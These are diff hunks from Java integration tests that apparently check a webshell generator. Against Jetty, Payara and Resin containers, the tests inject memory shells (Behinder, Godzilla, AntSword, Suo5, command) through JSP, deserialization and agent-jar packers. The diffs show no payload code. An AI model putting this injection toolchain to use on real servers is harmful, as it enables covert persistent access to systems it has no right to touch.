arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -64,7 +68,9 @@ public class Jetty61ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize)
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize)
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
@@ -50,6 +50,8 @@ public class Jetty76ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
@@ -58,6 +60,8 @@ public class Jetty76ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -66,9 +70,13 @@ public class Jetty76ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar)
);
}
@@ -50,6 +50,8 @@ public class Jetty81ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
@@ -58,6 +60,8 @@ public class Jetty81ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -66,9 +70,12 @@ public class Jetty81ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar)
);
}
@@ -51,6 +51,8 @@ public class Jetty92ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
@@ -59,6 +61,8 @@ public class Jetty92ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -67,6 +71,9 @@ public class Jetty92ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -50,6 +50,8 @@ public class Jetty93ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
@@ -58,6 +60,8 @@ public class Jetty93ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -66,6 +70,9 @@ public class Jetty93ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -50,6 +50,8 @@ public class Jetty94ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
@@ -58,6 +60,8 @@ public class Jetty94ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -66,6 +70,9 @@ public class Jetty94ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -17,8 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.ContainerTool.glassfishPid;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,6 +36,8 @@ public class Payara5201ContainerTest {
@Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
.withExposedPorts(8080);
@@ -53,6 +55,9 @@ public class Payara5201ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
@@ -65,6 +70,9 @@ public class Payara5201ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine),
@@ -76,7 +84,18 @@ public class Payara5201ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine)
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
);
}
@@ -89,6 +108,6 @@ public class Payara5201ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
}
}
@@ -17,8 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.ContainerTool.glassfishPid;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,6 +36,8 @@ public class Payara520225ContainerTest {
@Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
.withExposedPorts(8080);
@@ -49,6 +51,8 @@ public class Payara520225ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -57,6 +61,8 @@ public class Payara520225ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
@@ -64,7 +70,17 @@ public class Payara520225ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize)
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
);
}
@@ -77,6 +93,6 @@ public class Payara520225ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer);
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container);
}
}
@@ -17,8 +17,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,6 +35,8 @@ public class Payara620222ContainerTest {
@Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warJakartaFile, "/usr/local/payara6/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
.withExposedPorts(8080);
@@ -64,7 +65,13 @@ public class Payara620222ContainerTest {
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize)
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
);
}
@@ -77,6 +84,6 @@ public class Payara620222ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer);
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container);
}
}
@@ -51,6 +51,8 @@ public class Resin3116ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
@@ -59,6 +61,8 @@ public class Resin3116ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -67,6 +71,9 @@ public class Resin3116ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
@@ -51,6 +51,8 @@ public class Resin318ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
@@ -59,6 +61,8 @@ public class Resin318ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -67,6 +71,9 @@ public class Resin318ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
@@ -50,6 +50,8 @@ public class Resin4058ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
@@ -58,6 +60,8 @@ public class Resin4058ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
